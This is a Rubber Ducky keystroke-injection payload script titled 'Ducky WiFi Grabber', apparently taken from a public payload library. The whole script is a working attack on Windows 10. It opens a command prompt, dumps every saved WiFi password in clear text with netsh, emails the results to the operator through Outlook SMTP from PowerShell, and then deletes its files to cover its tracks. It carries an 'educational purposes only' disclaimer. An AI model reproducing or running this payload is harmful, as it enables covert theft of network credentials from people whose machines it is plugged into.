Path: blob/master/payloads/library/exfiltration/DUCKY-WIFI_GRABER/payload.txt
2968 views
REM Title: Ducky WiFi Grabber1REM Description: Steals wifi passwords and sends them to your outlook email2REM Author: Zero_Sploit3REM Props: Hak5 Team4REM Version: 1.05REM Category: Exfiltration6REM Target: Windows 10 (CMD + Powershell)7REM Attackmodes: HID8REM Some editing on your part is needed such as outlook email & password9REM This script is for educational purposes only please do not use this for malicious purposes10REM Open Cmd11DELAY 100012WINDOWS r13DELAY 50014STRING cmd15ENTER16DELAY 20017REM Get all SSID18STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt19ENTER20REM Create a filter.bat to get all the profile names21STRING echo SETLOCAL EnableDelayedExpansion^22ENTER23ENTER24STRING for /f "tokens=5*" %%i in (a.txt) do (^25ENTER26ENTER27STRING set val=%%i %%j^28ENTER29ENTER30STRING if "!val:~-1!" == " " set val=!val:~0,-1!^31ENTER32ENTER33STRING echo !val!^>^>b.txt) > filter.bat34ENTER35REM Run filter.bat and save all profile names in b.txt36STRING filter.bat37DELAY 30038ENTER39REM --> Save all the LOOT in Log.txt and delete the other files40STRING (for /f "tokens=*" %i in (b.txt) do @echo SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt41ENTER42DELAY 100043STRING exit44DELAY 50045ENTER46DELAY 100047REM Mail Log.txt48WINDOWS r49DELAY 50050STRING powershell51ENTER52DELAY 100053STRING del .\a.txt54ENTER55STRING del .\b.txt56ENTER57STRING del .\filter.bat58ENTER59REM Email The Log.txt file60STRING $SMTPServer = 'smtp-mail.outlook.com'61ENTER62STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)63ENTER64STRING $SMTPInfo.EnableSSL = $true65ENTER66STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUR EMAIL HERE', 'YOUR EMAIL PASSWORD HERE')67ENTER68STRING $ReportEmail = New-Object System.Net.Mail.MailMessage69ENTER70STRING $ReportEmail.From = 'YOUR EMAIL HERE'71ENTER72STRING $ReportEmail.To.Add('YOUR EAMIL HERE')73ENTER74STRING $ReportEmail.Subject = 'WiFi key grabber'75ENTER76STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)77ENTER78STRING $SMTPInfo.Send($ReportEmail)79ENTER80REM Delete Log.txt and exit81DELAY 300082STRINGLN del Log.txt83DELAY 50084STRINGLN exit85ENTER868788